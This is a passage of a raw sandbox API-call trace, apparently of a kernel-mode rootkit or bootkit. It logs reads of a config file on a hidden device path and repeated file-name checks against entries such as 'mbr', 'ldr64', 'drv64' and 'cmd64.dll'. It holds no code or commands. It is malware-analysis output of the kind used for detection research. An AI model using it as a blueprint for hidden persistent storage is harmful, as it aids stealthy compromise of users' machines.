KeEnterCriticalRegion () [0128.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.780] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.780] KeLeaveCriticalRegion () [0128.780] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.780] KeEnterCriticalRegion () [0128.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.780] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.780] IdePortDispatch () returned 0x103 [0128.780] KeWaitForMutexObject () returned 0x0 [0128.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.780] KeLeaveCriticalRegion () [0128.780] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.780] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.780] KeEnterCriticalRegion () [0128.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.780] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b24000 [0128.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.780] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.780] IdePortDispatch () returned 0x103 [0128.780] KeWaitForMutexObject () returned 0x0 [0128.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.781] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.781] IdePortDispatch () returned 0x103 [0128.781] KeWaitForMutexObject () returned 0x0 [0128.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.781] KeLeaveCriticalRegion () [0128.781] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.781] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.781] KeEnterCriticalRegion () [0128.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.781] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.782] KeLeaveCriticalRegion () [0128.782] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.782] KeEnterCriticalRegion () [0128.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.782] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.782] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c014e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.782] KeLeaveCriticalRegion () [0128.782] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.782] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.782] KeEnterCriticalRegion () [0128.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.782] ExFreePoolWithTag (P=0xfffffa8003c01d70, Tag=0x0) [0128.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.782] KeLeaveCriticalRegion () [0128.782] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.782] ReleaseMutex (hMutex=0xf0) returned 1 [0128.782] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.782] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.782] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.782] KeEnterCriticalRegion () [0128.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.782] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.782] IdePortDispatch () returned 0x103 [0128.782] KeWaitForMutexObject () returned 0x0 [0128.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.782] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.783] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.783] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.783] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.783] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfffb0 [0128.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.783] KeLeaveCriticalRegion () [0128.783] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.783] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.783] KeEnterCriticalRegion () [0128.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.783] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.783] KeLeaveCriticalRegion () [0128.783] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.783] KeEnterCriticalRegion () [0128.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.783] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.783] IdePortDispatch () returned 0x103 [0128.783] KeWaitForMutexObject () returned 0x0 [0128.783] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.783] KeLeaveCriticalRegion () [0128.783] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.783] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.783] KeEnterCriticalRegion () [0128.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.783] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b25000 [0128.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.783] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.784] IdePortDispatch () returned 0x103 [0128.784] KeWaitForMutexObject () returned 0x0 [0128.784] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.784] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.784] IdePortDispatch () returned 0x103 [0128.784] KeWaitForMutexObject () returned 0x0 [0128.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.784] KeLeaveCriticalRegion () [0128.784] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.785] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.785] KeEnterCriticalRegion () [0128.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.785] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.785] KeLeaveCriticalRegion () [0128.785] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.785] KeEnterCriticalRegion () [0128.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.785] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.785] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.785] KeLeaveCriticalRegion () [0128.785] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.785] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.785] KeEnterCriticalRegion () [0128.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.785] ExFreePoolWithTag (P=0xfffffa8003bfffb0, Tag=0x0) [0128.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.785] KeLeaveCriticalRegion () [0128.785] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.785] ReleaseMutex (hMutex=0xf0) returned 1 [0128.785] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.785] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.785] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.785] KeEnterCriticalRegion () [0128.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.785] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.785] IdePortDispatch () returned 0x103 [0128.785] KeWaitForMutexObject () returned 0x0 [0128.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.786] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.786] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.786] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.786] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.786] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00e70 [0128.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.786] KeLeaveCriticalRegion () [0128.786] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.786] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.786] KeEnterCriticalRegion () [0128.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.786] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.786] KeLeaveCriticalRegion () [0128.786] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.786] KeEnterCriticalRegion () [0128.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.786] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.786] IdePortDispatch () returned 0x103 [0128.786] KeWaitForMutexObject () returned 0x0 [0128.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.786] KeLeaveCriticalRegion () [0128.786] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.787] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.787] KeEnterCriticalRegion () [0128.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.787] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b26000 [0128.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.787] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.787] IdePortDispatch () returned 0x103 [0128.787] KeWaitForMutexObject () returned 0x0 [0128.787] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.787] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.787] IdePortDispatch () returned 0x103 [0128.787] KeWaitForMutexObject () returned 0x0 [0128.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.787] KeLeaveCriticalRegion () [0128.787] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.788] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.788] KeEnterCriticalRegion () [0128.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.788] KeLeaveCriticalRegion () [0128.788] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.788] KeEnterCriticalRegion () [0128.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.788] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.788] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.788] KeLeaveCriticalRegion () [0128.788] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.788] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.788] KeEnterCriticalRegion () [0128.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.788] ExFreePoolWithTag (P=0xfffffa8003c00e70, Tag=0x0) [0128.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.788] KeLeaveCriticalRegion () [0128.788] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.788] ReleaseMutex (hMutex=0xf0) returned 1 [0128.788] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.788] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.788] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.788] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.788] KeEnterCriticalRegion () [0128.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.789] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.789] IdePortDispatch () returned 0x103 [0128.789] KeWaitForMutexObject () returned 0x0 [0128.789] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.789] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.789] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.789] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.789] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.789] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.789] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.789] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.789] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.789] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.789] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.789] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.789] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.789] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.789] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.789] KeLeaveCriticalRegion () [0128.789] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.789] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.789] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.789] KeEnterCriticalRegion () [0128.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.789] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.789] IdePortDispatch () returned 0x103 [0128.789] KeWaitForMutexObject () returned 0x0 [0128.790] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.790] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.790] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.790] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.790] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.790] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.790] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.790] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.790] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.790] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.790] _strnicmp (_Str1="", _Str="lsash.xp", 